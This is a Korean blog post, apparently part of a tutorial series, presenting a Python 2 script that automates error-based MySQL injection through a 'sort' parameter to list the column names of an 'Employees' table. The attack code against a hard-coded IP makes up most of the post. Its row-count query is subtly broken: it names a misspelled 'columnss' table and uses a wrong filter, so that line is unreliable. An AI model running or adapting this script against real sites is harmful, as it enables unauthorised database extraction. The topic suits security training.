[Python] 컬럼을 추출하기

 컬럼을 추출하기


지난 스키마 추출 코드를 수정하며 진행합니다 . 




SQL 쿼리만 상이 하기 때문에 SQL 쿼리 구문만 수정하면 컬럼명을 추출 할 수 있습니다 . 

스크립트 코드
#-*- coding: utf-8 -*-
import httplib
import urllib

def httpreq(query):

    headers = { "User-Agent" : "Mozilla/5.0 (Window NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",
    "Content-type": "application/x-www-form-urlencoded","Accept": "text/html", "Connection": "keep-alive"}


    delims = "!~!~!"
    domain = "3.239.29.151"  # 가상머신 주소
    url = "/mysql_sort.php"  # 취약한 URL
    params = "sort=(select+1+from(select+count(*),concat('" +delims+ "',"+query+",'" +delims+ "',floor(rand(0)*2))a+from+information_schema.tables+group+by+a)T)%23"
    conn = httplib.HTTPConnection(domain,"80")
    #conn = httplib.HTTPSCOnection(domain, "443")
    conn.request("GET",url + "?" + params,None,headers)
    #conn.request("POST",url,params,headers)
    response = conn.getresponse().read()
    return response.split(delims)[1]

#rcount = "(select+count(*)+from+information_schema.tables+where+table_type='base+table')"
rcount = "(select+count(*)+from+information_schema.columnss+where+table_type='Employees')"
cnt = int(httpreq(rcount))


for i in range(0,cnt):
    #tname = "(select+table_name+from+information_schema.tables+where+table_type='base+table'+limit+1+offset+"+ str(i) + ")"
    cname = "(select+column_name+from+information_schema.columns+where+table_name='Employees'+limit+1+offset+"+ str(i) + ")"
    print httpreq(cname)


결과
















파이썬 스크립트를 이용하여 수작업 공격 기법의 순서와 동일하게 데이터 획득에 필요한 테이블과 칼럼의 목록을 획득 하였습니다 . 

댓글